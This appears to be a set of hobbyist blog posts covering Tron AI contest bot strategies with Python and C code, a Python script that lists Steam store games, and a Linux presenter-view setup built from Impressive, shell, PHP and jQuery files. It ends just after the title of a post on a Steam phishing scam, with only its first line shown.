Which is what happens here. Our bot quickly senses that we can close blue off. It's pretty hard to eyeball here that we'll end up with more room then blue, but our bot seems to be confident.

Indeed, a few seconds later the situation looks like this. It's clear we've won.

Another game. Now we're in blue. I'm picking this round because my bot had a lot of problems with this setup.

By chasing our opponent, we're getting ourselves in a lot of trouble.

And indeed, a few moves later, red can easily corner us.

This game was played against the contest winner, a1k0n, we're blue again.

Both players start of pretty aggressive.

Red makes a slight detour, so we go north to reach him.

Then red turns around, an obvious mistake would be to follow him by going south. In the first part we've mentioned this problem and included a fix to avoid these dead-ends.

...and thus we turn around as well.

Alas, red is still able to close us off before we reach him. I actually consider this a well-played game.

An easier (and better) minimax evaluation function: Voronoi territories

In the previous post I've already mentioned that the most important part of a good minimax strategy is the evaluation (the score) you give to each game state. A lot of players have been using a Voronoi Territory based system to evaluate their positions.

The name comes from Voronoi diagrams, a decomposition of space determined by distances to objects in that space (like points for example). When applied to the game of Tron, we could start with this simple board:

To define our territory, we figure out the quickest way to reach each free square, both for us, and for our opponent:

Our territory is defined by the squares we can reach quicker than our opponent, and vice verso. E.g. red's space is colored in light red, blue's space in light blue:

If we apply this method to each board in our minimax tree, we can assign a score. For example:

score = size of our territory - size of their territory

Articulation points

To expand on this idea, a lot of players also searched for articulation points on the board to see if it would make sense to block those off. Remember: an articulation point is a point such that removal (filling) that point would increase the number of disconnected "chambers". For example, the articulation points in the board above are:

A good strategy checks whether we can reach those articulation points first, if it separates us from our opponent, and if doing so would result in more territory for us than our opponent.

Worth reading

Now that the contest is over, a lot of players have posted their source code in this thread. The git repository of the contest winner is especially worth taking a look at.

Addendum: a1k0n has posted a post-mortem on his blog, which manages to explain things very well. It's a wonderful read.

The University Of Waterloo CS Club Tron Challenge, And Some Minimax In General

2010-02-25T00:06:00.008+01:00

(This is the first part in the University Of Waterloo CS Club Tron Challenge post series. You can find the second part here.)

The Computer Science Club of the University of Waterloo is currently organizing an AI challenge, sponsored by Google. I'm (as always) a bit late with my write-up and the contest will be ending soon (26th of February), so you will have to be quick if you still want to enter. However, I can imagine that many of you are already familiar with the contest...

Since this challenge combines some interesting topics: AI, a game, a contest and optimization, I thought it might be interesting to post some conclusions here. Note that many of the topics here are already discussed at other websites and blogs. I will post references and links to those. Consider this as a general overview, a journal of my own tries, and a closer look at some common pitfalls.

Introduction

The challenge this year was all about Tron. Tron is like two-player Snake, where your objective is to box in your opponent to force him to crash into a wall (or your or his own tail) before you do. Of course, this game was first introduced in the movie with the similar name: Tron.

In this version of the game, some things are a bit simpler then what we see in the movie above:

Only two teams, with one player per team. In other words: one versus one.
No acceleration: everyone moves at the same speed.
No breaking the boundaries.
Your tail doesn't vanish once you crash. Even if this would happen, it wouldn't matter (once you've crashed you've lost anyway and the game ends).
The playfield doesn't necessarily start empty.

(Note: it is possible to find many (free) games on the internet which do include some of these features.)

For example, one of the maps provided in the package looks like this:

########
#1     #
#      #
#      #
#      #
#      #
#     2#
########

# stands for a wall, and 1 and 2 are our two players on their starting positions.

Let's pit them against each other and see how they fare. We provide them with a very basic mode of intelligence: just pick any random direction if the space is free if possible.

After the first move, the board looks like this:

########
##     #
#1     #
#      #
#      #
#     2#
#     ##
########

See how they both leave a wall behind them? Note that diagonal moves are forbidden. A few moves later, the situation looks like this:

########
##     #
##     #
##     #
###    #
# 1  ###
#  2####
########

If player 1 now decides to go right, and player 2 decides to go up, they will crash into each other and the game will end with a draw. This actual run turns out to be a bit more dramatic:

########
##     #
##     #
##     #
###    #
#1#2 ###
#  #####
########

Player 1 has gone left, and 2 has gone up and the players are now seperated from each other. Unless player 2 does something really stupid, it is clear that 1 will lose...

########
##     #
##     #
##     #
###    #
####2###
#1 #####
########

...

########
##     #
##     #
##     #
### 2  #
########
##1#####
########

Player 1 is completely trapped and crashes into a wall. Player 2 wins.

The objective of each participant is to write an AI which will have to play against the bots of the other players. The more you win, the higher you score...

Basic strategies

To help players start off, the website gives some basic strategies for your bot:

Random selection: as seen in the introduction: just pick an open space at random and move there. This is a bad strategy because often you will seperate yourself from your opponent, with less space to move in.

Ordered selection: make a list of directions, e.g. [north, east, south, west]. Pick the first possible direction from the list. This will not seperate you from your opponent as quick (or foolish) as random selection, but will eventually end up in a bad seperation otherwise.

Wall hugging: always try to stay close to a wall. This strategy is interesting because it makes good use of the available space. However, it is not often perfect. Take for example a red player who finds himself in this position:

Now let's assume that the player is a wall hugger: he prefers to be close to a wall at all times. Let's also assume that if there are more available choices, he follows the left hand rule. After a few moves, the situation thus looks like (grey squares are the "tail" of the player):

When we continue following the left hand rule (and still being close to a wall), we end up with:

Which is of course, not the optimal choice here. It is trivial to find other maps which break the left (or right, or ordered direction) wall hugging method.

Wall hugging - another try: let's see if we can fix the above problem. Let's wallhug while following a rule (left or right hand, ordered direction or even random), but when we notice that a move would lead us into a new seperate space which results in less possible moves than the other seperated space, try the next move.

E.g., moving left in this scenario:

...would lead us into a new seperated space with less empty cells than when we would have gone right. Will this strategy work? Let's start again:

Let's say we follow the left hand rule again. We just keep following the wall until:

Now, with our new rule in place, we will not go left, as this would seperate us in a bad way from the other empty squares. We thus pick the next possible move, which is right. Note that this also seperates us from the squares to our left, but since we have more moves in our space, this is no problem:

We continue following the wall until we see this:

The left hand rule suggests us to go left. This seperates our possibilities once again, but since left results in more empty spaces than going up, we can safely go left. This continues until we have no more moves left:

Not bad at all, the board was quite nicely filled. Still, we can do better. In fact, it is possible to end up like this:

This is clearly a much better way of filling the board (in fact, it is the best). Can you figure out how to do it? Can you figure out an algorithm to describe the behaviour? Do you think your algorithm will work in all maps? Keep these questions in mind for later...

Enemy avoidance or chasing: run away from the enemy. Pick the direction which is farthest away from the opponent. We can also reverse this strategy: move as close to the opponent as possible. Both are easy to implement, so which one do we pick? In most maps, chasing will result in a draw against other chasers (suicidal behaviour), and in a win against runners. Runners on the other hand will often draw agains runners. Most player pick a chasing, aggressive bot. And since drawing is better than losing, we have no choice but to use an aggressive bot ourselves to increase our chances.

Most open destination: uses some simple rules to pick the direction which ends up giving us the most open spaces. We already used this a bit in our improvement of our wall hugging algorithm.

The website also mentions near and far strategies, but we'll take a look at those later.

First conclusions

After evaluating the strategies above, we can already draft out a good simple strategy:

When we're not seperated from the opponent: try to seperate him into a space so that we have more remaining moves than him.
Once we are seperated: try to fill our available moves in the best possible way.

To find out if we're seperated (and our available spaces), we can use a flood fill algorithm. An implementation in Python could look like this:

def flood_fill(board, startpos):
  expand = [startpos]
  done = []
  while len(expand) is not 0:
    pos = expand.pop()
    done.append(pos)
    for dir in tron.DIRECTIONS:
      dest = board.rel(dir, pos)
      if board.passable(dest) and dest not in done and dest not in expand:
        expand.append(dest)
  return len(done)

However, figuring out the number of empty squares is not enough. Once we know that we have more space, how do we proceed to fill this space in an optimal way. As we saw in the wall hugging strategy above, it turns out this is deceptively difficult. The Waterloo strategy page describes it best:

However, there are situations where flood-fill can be tricked into entering a trap: an area that looks big, but in which your bot cannot move freely. So, while this strategy works for most situations and is an easy addition to a good near strategy, it doesn't cover all situations.

Longest-path approximation

What your bot is effectively trying to do in a survival situation is to find the longest path in the board starting at your current position.

Unfortunately, the longest-path problem itself is NP-complete, which means that, barring a miracle in Computer Science (namely, the unlikely result that P=NP), it is very difficult in general to find this longest path.

All hope is not lost, however: there are some decent approximations you can make which run reasonably quickly and avoid traps like those described above.

One such approach is based on articulation vertices on the board. An articulation vertex on a Tron board is a space which, if it were filled in by a wall or trail, would cut the area it is in into two or more disconnected areas. For a given square, if it is an articulation vertex which cuts the area into three or more disconnected areas, then it is impossible for your bot to visit all three areas, which gives you an easy way to determine how many squares are impossible to visit. By computing the articulation vertices in the board, you can obtain a better approximation of the number of free squares which can be visited, and thus fill your space more efficiently.

Keep the definition of articulation vertices in mind, we will mention this again later. I decided to use a simple but quick heuristic to figure out a way of filling the board. It's quick and works good enough most of the times (meaning that once we're seperated and have more empty space, we have a high chance of actually winning).

Now: what do we do if we're not seperated...? On option is to use a minimax strategy.

Battle strategy: using minimax

Minimax is a decision rule which maximizes our potential gain while minimizing our possible loss. It can be used in two player games where it is possible to assign a value (or score) to each decision for each player.

For example, let's say we need to choose between two possible moves A or B, in a given game. If we think three levels deep, we might end up with something like this:

As you see in the search tree above, for each of our two moves A or B, our opponent can also make two moves. Then we move again. The strategy we'll be following is max(imize our gain). Our opponent will try to min(imize our gain).

Once we're at our desired (lowest) level in the tree, we assign a score to all the possible outcomes:

Our opponent knows that we will always pick the best (max) choice (in yellow) when confronted with a specific situation:

Our opponent will thus try to minimize our gains (he wants us to lose), so we know what he'll pick for each of our moves (yellow):

At the top level it is now clear that, to maximize our gain we pick move A with a resulting score of 7, provided that our opponent will react in the smartest way possible:

Since alternating between minimizing and maximizing the scores between each level of the search tree can be tedious to program, we can use the following observation to keep things simpler:

max(a,b) = -min(-a,-b)

Our example tree thus becomes:

By inverting the score each time we propagate upwards, we can use max at every level.

The strategy page recommends following a minimax strategy to avoid traps or dead ends. It is clear that, to create a winning minimax strategy, we must give sensible scores to each of the game states. A lot of players are thus using minimax strategies and doing well to very well with them.

It's also fairly logical that the more levels you search, the higher your chance of winning becomes. However, since bots are only given one second to think before each move, exploring a high number of levels is impossible, especially in interpreted languages. It's no wonder that many high-ranked players are using C++.

To speed up iterating the tree, we can use a technique called alpha-beta pruning. We can also use iterative deepening. I won't explain those into detail here, but I can give you a handy list of resources:

The Wikipedia page on Minimax gives examples and pseudocode.
The Wikipedia page on alpha-beta pruning does the same for this technique. The pseudocode is not hard to implement once you understand minimax, and does speed things up a lot!
Also iterative deepening is explained on Wikipedia; it's easy to understand, but a bit harder to implement.
Another contestant has explained his minimax strategy on his website. He does a fantastic job explaining the concepts above, and even provides a starting point for an evaluation function you can use to assign a score to the board.
Jamie, another contestant, also discusses his techniques in his blog, he even links to some interesting Python source code.
A quick Google search finds some interesting minimax and alpha beta pruning code written in Python. It plays Othello, but the AI and game logic are cleanly seperated.

Before we continue: a quick look at some other projects

Now that we have a basic understanding of the workings of a Tron bot and strategy, we can Google around to see if we come up with some interesting projects using these methods. Let's see what some of the open source Tron games are using as a strategy.

KTron's source can be viewed online. We notice the following comment:

// This part is partly ported from
// xtron-1.1 by Rhett D. Jacobs (rhett@hotel.[...])


We thus take a look at xtron, you can find the source package here. main.c contains the think routine:

/* artificial intelligence routines for computer player */
void think(int p_num)
{
  enum directions sides[2];
  int flags[6] = {0,0,0,0,0,0};
  int index[2];
  int dis_forward,  dis_left, dis_right;

  dis_forward = dis_left = dis_right = 1;

  switch (p[p_num].plr_dir) {
  case left:

    /* forward flags */
    flags[0] = -1;
    flags[1] = 0;

    /* left flags */
    flags[2] = 0;
    flags[3] = 1;

    /* right flags */
    flags[4] = 0;
    flags[5] = -1;

    /* turns to either side */
    sides[0] = down;
    sides[1] = up;
    break;
  //...
  }

  /* check forward */
  index[0] = p[p_num].co_ords[0]+flags[0];
  index[1] = p[p_num].co_ords[1]+flags[1];


  while (index[0] < MAXHORZ && index[0] >= MINHORZ &&
    index[1] < MAXVERT && index[1] >= MINVERT &&
    b.contents[index[0]][index[1]] == 0) {
       dis_forward++;
       index[0] += flags[0];
       index[1] += flags[1];
  }

  if (dis_forward < LookAHEAD) {    
    dis_forward = 100 - 100/dis_forward;     
    /* check left */    
    index[0] = p[p_num].co_ords[0]+flags[2];
    index[1] = p[p_num].co_ords[1]+flags[3];
       while (index[0] < MAXHORZ && index[0] >= MINHORZ &&
       index[1] < MAXVERT && index[1] >= MINVERT &&
       b.contents[index[0]][index[1]] == 0) {
        dis_left++;
        index[0] += flags[2];
        index[1] += flags[3];
       }


    /* check right */
    index[0] = p[p_num].co_ords[0]+flags[4];
    index[1] = p[p_num].co_ords[1]+flags[5];
    while (index[0] < MAXHORZ && index[0] >= MINHORZ &&
       index[1] < MAXVERT && index[1] >= MINVERT &&
       b.contents[index[0]][index[1]] == 0) {
        dis_right++;
        index[0] += flags[4];
        index[1] += flags[5];
    } 
    if(!(dis_left == 1 && dis_right == 1))
      if ((int)rand()%100 >= dis_forward || dis_forward == 0) {
        /* change direction */
          if ((int)rand()%100 <= (100*dis_left)/(dis_left+dis_right))   
            if (dis_left != 1)       /* turn to the left */     
              p[p_num].plr_dir = sides[0];   
            else /* turn to the right */    
              p[p_num].plr_dir = sides[1];
          else   
            if (dis_right != 1)      
              /*  turn to the right */    
              p[p_num].plr_dir = sides[1];   
            else      
              /* turn to the left */     
              p[p_num].plr_dir = sides[0];      
      }  
   }
}

It turns out this code is using a simple strategy. The difficulty of the game lies in the fact that player can move slow (easy) or very fast (very hard). The AI looks at the distance before reaching a wall while heading in its current direction. The closer it comes, the higher the chance of turning. When we're next to a wall, the chance is, of course, 100%.

The code is easily converted to a Python bot:

#!/usr/bin/python

import tron
import random
import sys
import time
import math
from copy import deepcopy

DIRECTION = tron.NORTH

def which_move(board):
  global DIRECTION
  LookAHEAD = 6

  sides = [0,0]
  flags = [0,0,0,0,0,0]
  index = [0,0]
  dis_forward = 1
  dis_left = 1
  dis_right = 1

  if DIRECTION == tron.WEST:
    flags[0] = -1
    flags[1] = 0
    flags[2] = 0
    flags[3] = 1
    flags[4] = 0
    flags[5] = -1
    sides[0] = tron.SOUTH
    sides[1] = tron.NORTH
  elif DIRECTION == tron.EAST:
    flags[0] = 1
    flags[1] = 0
    flags[2] = 0
    flags[3] = -1
    flags[4] = 0
    flags[5] = 1
    sides[0] = tron.NORTH;
    sides[1] = tron.SOUTH;
  elif DIRECTION == tron.NORTH:
    flags[0] = 0
    flags[1] = -1
    flags[2] = -1
    flags[3] = 0
    flags[4] = 1
    flags[5] = 0
    sides[0] = tron.WEST
    sides[1] = tron.EAST
  elif DIRECTION == tron.SOUTH:
    flags[0] = 0
    flags[1] = 1
    flags[2] = 1
    flags[3] = 0
    flags[4] = -1
    flags[5] = 0
    sides[0] = tron.EAST
    sides[1] = tron.WEST

  index[0] = board.me()[0]+flags[1];
  index[1] = board.me()[1]+flags[0];
  while index[0] < board.height and index[0] >= 0 and index[1] < board.width and index[1] >= 0 and board[index[0],index[1]] == tron.FLOOR:
    dis_forward+=1
    index[0] += flags[1]
    index[1] += flags[0]

  if dis_forward < LookAHEAD:
    dis_forward = 100 - (100/dis_forward)

    index[0] = board.me()[0]+flags[3];
    index[1] = board.me()[1]+flags[2];
    while index[0] < board.height and index[0] >= 0 and index[1] < board.width and index[1] >= 0 and board[index[0],index[1]] == tron.FLOOR:
      dis_left+=1
      index[0] += flags[3]
      index[1] += flags[2]

    index[0] = board.me()[0]+flags[5];
    index[1] = board.me()[1]+flags[4];
    while index[0] < board.height and index[0] >= 0 and index[1] < board.width and index[1] >= 0 and board[index[0],index[1]] == tron.FLOOR:
      dis_right+=1
      index[0] += flags[5]
      index[1] += flags[4]
    if not (dis_left == 1 and dis_right == 1):
      if random.randint(0 ,99) >= dis_forward or dis_forward == 0:
        #change dir
        if random.randint(0 ,99) <= (100*dis_left)/(dis_left+dis_right):
          if dis_left != 1:
            DIRECTION = sides[0]
          else:
            DIRECTION =  sides[1]
        else:
          if dis_right != 1:
            DIRECTION =  sides[1]
          else:
            DIRECTION =  sides[0]
  return DIRECTION

for board in tron.Board.generate():
  tron.move(which_move(board))

Uploading the converted code to the contest server quickly confirms the fact that this bot is not doing well (in blue):

In this case, it's lucky (in red):

A final search on Google code turns up some source code written for an AI class at Rutgers University. They provide C# code for different players and strategies, including a minimax player.

...but we're not using minimax

On a random hunch I decided to try writing a bot without using minimax. I wanted to see how far I would get with (simple) heuristics and sound thinking.

A first sketch of the battle plan looked like this:

- If we're seperated, use a quick but fairly good way to make good use of our available space
- If we're not seperated:
  - If there's a move which does seperate us
    - And will result in us having more space
      - Make that move
  - Otherwise: move towards the opponent
- Avoid draws if possible:
  - Try your hardest to avoid a crash with the opponent if the opponent has no other spaces left to go
  - If the opponent does have other spaces to go to, avoid a draw if it doesn't negatively impact us

Surprisingly, this code was working fairly well... A minute later I had implemented a small improvement:

- If we're seperated, use a quick but fairly good way to make good use of our available space
- If we're not seperated:
  - If there's a move which does seperate us
    - And will result in us having more space
      - Make that move
  - Otherwise: move towards the opponent:
    - Do not use euclidean distances but use a shortest path, this ensures the bast way to reach our opponent
- Avoid draws if possible:
  - Try your hardest to avoid a crash with the opponent if the opponent has no other spaces left to go
  - If the opponent does have other spaces to go to, avoid a draw if it doesn't negatively impact us

And as a final edge, I added:

- If we're seperated, use a quick but fairly good way to make good use of our available space
- If we're not seperated:
  - If there's a move which does seperate us
    - And will result in us having more space
      - Make that move
  - Otherwise: move towards the opponent:
    - Do not use euclidean distances but use a shortest path, this ensures the bast way to reach our opponent
  - Check in all four directions: where is the nearest wall?
    - What would happen if we go to this wall, would this seperate us from our opponent?
      - And would we get more moves in our space?
        - And can we get to that wall faster than our opponent?
          - Go to that wall and trap him!

- Avoid draws if possible:
  - Try your hardest to avoid a crash with the opponent if the opponent has no other spaces left to go
  - If the opponent does have other spaces to go to, avoid a draw if it doesn't negatively impact us

Thanks to this trick, when we're faced with a situation like this (we're blue):

We will react accordingly:

"Ha ha, trapped you..."

This rudimentary bot has been doing very well and even scored in the top 30 for some time (alas, the ranking graphs have been taken offline, otherwise I would embed it here). However, a lot of players have been improving their code lately, causing me to drop back in the 100s.

Some peculiar problems

Lately I've been observing some interesting cases which can occur. You could call the first one the chamber or gateway problem.

Take the following map (we're blue):

Since moving to the left would not seperate us from the opponent (he can still reach us by going around below), the old code would make us close in on him by going right:

However, once this happened, smarter opponent bots would rush to the little hole:

"Drats! I'm trapped now."

Remember the definition of articulation vertices above? A final check I implemented looks at those little "gateways" and checks if our opponent can reach those faster than us, and if this would result in us being blocked off with less moves. If such a gateway exists, it's better to go the other way.

A nice example (on a difficult map) of the bot in action, the map starts of like this (we're blue):

A few moves later, and our bot has to make a choice:

It avoids the bad choice, as does our opponent. Not that the old version of the code would move us closer towards our opponent as well, as there is now possible seperating move. (You might think that moving left seperated us from our opponent, but this is only the case when our opponent is stupid enough to move right. Our bot now avoids "being trapped in a little box together".)

A few moves later, and we make a choice again:

Again, we pick the best choice, and a few moves later:

This is a sure win.

A second problem deals with avoiding obvious stupid mistakes. The following game demonstrates some good fighting between the two players, but at the end, my bot (red, don't worry, the gifs are repeating) makes a horrible mistake:

I modified the code once more to avoid this situation.

You could call the last problem the game of chicken problem. If you don't know what the game of chicken is, the description from Wikipedia might help:

The name "Chicken" has its origins in a game in which two drivers drive towards each other on a collision course: one must swerve, or both may die in the crash, but if one driver swerves and the other does not, the one who swerved will be called a "chicken," meaning a coward; this terminology is most prevalent in political science and economics.

The following game demonstrates the problem:

Can you see what's happening here? The blue player plays it safe and moves out of the way early on. However, this causes the red player to end up with more space. If one of them moves out of the way, the other one wins. If they both don't move, they draw. Figuring out when to crash (and draw), or when it's better to move is a difficult challenge, especially for minimax strategies which often try to play it safe, as shown above.

In conclusion

Many strategies I've discussed before and others are posted on the contest's forum.

Let's look at a few more games to close things off...

In this game: my bot (blue) loses, but it puts up a good fight:

Here is a game where our bot does well. The opponent moves upwards and our bot confidently moves forward, trapping him in less space:

In this game, our opponent "chickens out" and moves away from us. We use this opportunity to trap him, knowing that we can use more space. Once trapped, the opponent doesn't use his space optimally as well:

All in all this was an interesting and fun journey. My high rankings seem completely behind me though, but I'm glad I tried something different instead of following the obvious road. If you've been trying to write a bot as well: I hope you had a great experience as well, otherwise I hope you've enjoyed reading this little overview. I might talk about minimax and other mentionned topics again some time. Also: I should've started sooner taking a serious look at this contest. I get distracted too quickly :).

The contest organizers also put together a Youtube video showing some matches. It's interesting to see how bots either try (or fail) to trap each other, and how the use the available space.

Get A List Of Steam Games

2009-12-31T02:02:00.010+01:00

Update: see here for a new version which works on the new steam site.

Using Python and Beautiful Soup. Just a quick (ugly) script thrown together for future reference.

from BeautifulSoup import BeautifulSoup
from urllib import urlopen
import re
import codecs

html_text = urlopen('http://store.steampowered.com/search/?advanced=0&term=&category1=998').read()
soup = BeautifulSoup(html_text)
f = codecs.open('./output.txt', 'w', 'iso-8859-1')

pages = 1

print "-- Retrieving number of pages..."
for link in soup.findAll('a', attrs={'href' : re.compile("http://store.steampowered.com/search/\?sort_by=&sort_order=ASC&category1=998&page=\d+")}):
    try:
        page = int(link.string)
        if page > pages:
            pages = page
    except ValueError:
        pass

print "-- Pages found:",pages

for page in range(1,pages+1):
    print "-- Retrieving page:",page
  
    html_text = urlopen('http://store.steampowered.com/search/?sort_by=&sort_order=ASC&category1=998&page='+str(page)).read().decode('iso-8859-1')
    soup = BeautifulSoup(html_text)
    for item in soup.findAll('div', attrs={'class' : "global_area_tabs_item_txt"}):
        f.write(item.h3.string+'\r\n') 

f.close()

Building A Presenter View For Linux

2009-12-05T18:06:00.014+01:00

Recently I had to give a presentation and wanted to use a "presenter screen", allowing to view a clock, current and next slide, and slide notes on my laptop screen. Of course, the audience only sees the current slide fullscreened on the projector screen.

Powerpoint comes with this option built-in, but Openoffice users are out of luck. There's a presenter screen plugin in development, which works fine if you're using a recent version of Openoffice. I couldn't get it to work on my machine, however (I use xrandr to configure my dual screens). Users in this forum report that Ubuntu requires some fiddling with the display options or installing Sun's packaged version of Openoffice. I didn't want to do that.

Instead I opted to use Impressive - a Python-powered presenter with some unique features (OpenGL transitions, zoom, spotlight, overview page,...). It also provides an option to Python-script you presentation. We will use that to build a custom made presenter screen.

Step 1: download and test drive Impressive

Download Impressive from the official web page. Make sure you have Python installed. Extract it somewhere. I extracted mine to /home/macuyiko/Desktop/Impressive-0.10.2.

Note: you can follow along with the instructions and perform them yourself, or you can read on and download a packaged ZIP-file at the end if this post.

Test drive Impressive by running the following command in a terminal (make sure you're in the correct directory):

macuyiko@seppelaptop:~/Desktop/Impressive-0.10.2$ ./impressive.py demo.pdf 
Welcome to Impressive version 0.10.2
./impressive.py:94: DeprecationWarning: the md5 module is deprecated; use hashlib instead
 import random, getopt, os, types, re, codecs, tempfile, glob, StringIO, md5, re
Detected screen size: 1024x768 pixels
OpenGL renderer: Mesa DRI Intel(R) 945GM GEM 20090712 2009Q2 RC3 x86/MMX/SSE2
Using GL_ARB_texture_non_power_of_two.
Note: pdftk failed, hyperlinks disabled.
Total presentation time: 0:03.

Press ESC to close the presentation. Do you see the demo presentation? Good. Take some time to familiarize yourself with the features (they're explained in the demo slide, so you can test them out on the fly.

Don't worry about the DeprecationWarning and the pdftk error. We won't be using hyperlinks.

Step 2: prepare our folder structure

We'll be doing some housekeeping now. In the Impressive folder (where you extracted into), delete everything except impressive.py.

Then create a new folder: Presentation.

In the Presentation-folder, create two new folders: Slides and Text.

You now have the following folder structure:

Step 3: create support scripts

In the top-folder (where impressive.py resides), we'll create some simple support scripts scripts.

start.sh - a simple script to start our presentation:

#!/bin/bash
python impressive.py ./Presentation/presentation.pdf

clone.sh - a simple script to clone our two screens:

#!/bin/bash
xrandr --output LVDS1 --mode 1024x768 --output VGA1 --same-as LVDS1 --mode 1024x768

dual.sh - a simple script to enable dualscreen (same resolution, screens above each other, which works best on most configurations):

#!/bin/bash
xrandr --output LVDS1 --mode 1024x768 --output VGA1 --above LVDS1 --mode 1024x768

converter.sh - script to make thumbnails for our presenter view, this needs ImageMagick:

#!/bin/bash
echo Removing old images...;
rm ./Presentation/Slides/slide-*.png;
echo Converting...;
convert ./Presentation/presentation.pdf -density 100 slide.png
for filename in slide-*.png
do
echo Moving $filename;
mv $filename ./Presentation/Slides/$filename;
done

makeinfo.php - PHP script to generate our info file Impress will use, needs PHP CLI:

<?php
if (count($argv) != 2)
 die ("Provide number of pages\n");
$nrpages = $argv[1];
ob_start();
?>
import json

def UpdateInfo():
   global FileName, FileList, PageCount
   global DocumentTitle
   global Pcurrent, Pnext, Tcurrent, Tnext, InitialPage
   global RTrunning, RTrestart, StartTime, PageEnterTime, CurrentTime

   io = open('./Presentation/json.txt', 'w')
   json.dump(({"page_count": PageCount, "current_page": Pcurrent, "previous_page": Pnext, "start_time": StartTime, "pageenter_time": PageEnterTime, "current_time": CurrentTime}), io)
   io.close

PageProps = {
<?php for($page = 1; $page <= $nrpages; $page++): ?>
 <?php echo $page; ?>: {
        'transition': None,
        'OnEnter': UpdateInfo
    },
<?php endfor; ?>
}

<?php
 file_put_contents("./Presentation/presentation.pdf.info", ob_get_contents());
 ob_end_clean();
?>

You now have the following folder structure:

Step 4: create the HTML page

In the Presentation-folder, we'll create an HTML page.

PresenterView.html:

<html>
  <head>
    <title>Presenter View</title>
    <style>
    #information {
    text-align: center;
    font-size: 300%;
    border: 3px solid #ccc;
    padding: 4px;
    }

    #val_time, #val_pagethis, #val_pagecount {
    color: #444;
    font-weight: bold;
    }

    #slideleft {
    float: left;
    padding: 4px;
    border: 1px solid #ccc;
    }
    #slideright {
    float: right;
    padding: 4px;
    border: 1px solid #ccc;
    }

    #text{
    padding: 4px;
    margin-top: 10px;
    border-top: 3px solid #ccc;
    height: 50px;
    }
    #pane{
    margin-top: 10px;
    font-size: 140%;
    }
    #time{
    margin-top: 40px;
    text-align: center;
    font-size: 200%;
    border: 3px solid #ccc;
    padding: 4px;
    }
    </style>
    <script type="text/javascript" src="jquery-1.3.2.min.js"></script>
    <script>
    var mins = 0;
    var secs = 0;
    var clock = 0;
    var previousslide = 0;
    var refreshtime = 1000;

    function display_clock(){
    min = Math.floor(clock/60);
    secs= clock - mins*60;
    $("#val_time").text(mins+ ":" + secs);
    }

    function update_clock(){
    setTimeout ("update_clock()", 1000);
    clock = clock + 1;
    display_clock();
    }

    function make_call(){
    $.ajaxSetup({'beforeSend': function(xhr){
    if (xhr.overrideMimeType){
    xhr.overrideMimeType("text/plain");
    }
    }
    });

    $.getJSON("json.txt",
    function(data){
    $("#val_pagethis").text(data.current_page);
    $("#val_pagecount").text(data.page_count);

    if (previousslide != data.current_page){
    clock = data.current_time; //synchronize
    $("#val_slideleft").attr("src", "./Slides/slide-"+(data.current_page-1)+".png");
    if (data.current_page < data.page_count)
    $("#val_slideright").attr("src", "./Slides/slide-"+(data.current_page)+".png");

    $("#val_text").text(" ");
    $.get("./Text/text-"+data.current_page+".txt",
    function(data){
    $("#val_text").html(data);
    });
    }

    previousslide = data.current_page;
    display_clock();


    });
    setTimeout ("make_call()", refreshtime);
    }

    $(document).ready(function(){
    make_call();
    update_clock();
    });


    </script>
  </head>

  <body>
    <div id="information">Currently at slide
    <span id="val_pagethis">?</span> of <span id="val_pagecount">?</span>
    </div>

    <div id="pane">

    <div id="slideright">
    Next slide:<br />
    <img height="360" id="val_slideright" src="./Slides/slide-1.png" /></div>
    <div id="slideleft">
    Current slide:<br />
    <img height="360" id="val_slideleft" src="./Slides/slide-0.png" /></div>
    </div>
    <div style="clear:both;"> </div>
    <div id="text"><span id="val_text">?</span></div>
    <div id="time">Clock: <span id="val_time">?</span></div>
  </body>
</html>

This page uses jQuery for a bit of AJAX-magic. So make sure jquery-1.3.2.min.js is placed in the Presentation-folder as well.

And we're done. We can now start preparing and giving our presentation...

Step 5: preparing your presentation

(1 - Convert to PDF) Create a nice presentation in Openoffice or Powerpoint. Save it as PDF-slides (it's easy in Openoffice, for Powerpoint you can download a plugin from Microsoft. Rename your PDF-file to presentation.pdf and put it in the Presentation-folder. You now have the following folder structure:

(2 - Make thumbnails) Open a terminal, cd to your top-folder, and execute the converter.sh-script:

macuyiko@seppelaptop:~/Desktop/Impressive-0.10.2$ ./converter.sh
Removing old images...
Converting...
Moving slide-0.png
Moving slide-1.png
Moving slide-2.png
macuyiko@seppelaptop:~/Desktop/Impressive-0.10.2$

You Presentation/Slides-folder should now contain a bunch of PNG-files.

(3 - Make notes) In the Presentation/Text folder, create text-n.txt files where n is the number of the slide. In the textfile: write short notes you want to see for that slide (you may use HTML formatting).

(4 - Create the Impress info script) Run the PHP file:

macuyiko@seppelaptop:~/Desktop/Impressive-0.10.2$ php makeinfo.php 3

In my example, I have three slides, so I use 3 as the argument. Make sure the number you use is equal (or higher) than your number of slides!

This will have created a presentation.pdf.info file in the Presentation-folder:

import json

def UpdateInfo():
   global FileName, FileList, PageCount
   global DocumentTitle
   global Pcurrent, Pnext, Tcurrent, Tnext, InitialPage
   global RTrunning, RTrestart, StartTime, PageEnterTime, CurrentTime

   io = open('./Presentation/json.txt', 'w')
   json.dump(({"page_count": PageCount, "current_page": Pcurrent, "previous_page": Pnext, "start_time": StartTime, "pageenter_time": PageEnterTime, "current_time": CurrentTime}), io)
   io.close

PageProps = {
 1: {
        'transition': None,
        'OnEnter': UpdateInfo
    },
 2: {
        'transition': None,
        'OnEnter': UpdateInfo
    },
 3: {
        'transition': None,
        'OnEnter': UpdateInfo
    },
}

This script provides Impressive with the necessary actions: every time we enter a script, we write some JSON-information (time, current slide, next slide,...) to json.txt. This file will be polled continuously by jQuery in our HTML-page. Also note that I'm not using transitions. (You can change that if you want.)

One last time, your structure should look like this:

Step 6: giving your presentation

(1 - Dual screen) Open a terminal in your top-folder. And run the dual.sh script to switch to dual screen.

(2 - Open web browser) Open PresenterView.html in a web browser (I like Chromium best). Move it to your laptop screen. Then set it to always stay on top (you can do that by right clicking on the browser-item in the window switcher applet on the Gnome panel). The put it on full screen (F11 in most browsers). Your presenter view is running.

(3 - Start presentation) On the main screen, run start.sh to start the presentation. The page in the web browser will automatically update depending on which slide you're on. This is what it looks like on the laptop screen:

And on the projector, everything looks nice:

Also note that Impressive captures the mouse pointer. So once the presentation is going you won't have nasty situations when your mouse pointer leaves the screen and you press the button to advance a slide.

>> I've packed all the scripts, files, and a test presentation into a zip. You can download it here. <<

Don't Get Caught In This Steam Phishing Scam - How Phishers Work

2009-11-02T23:31:00.005+01:00

So I just got this mail in my inbox:

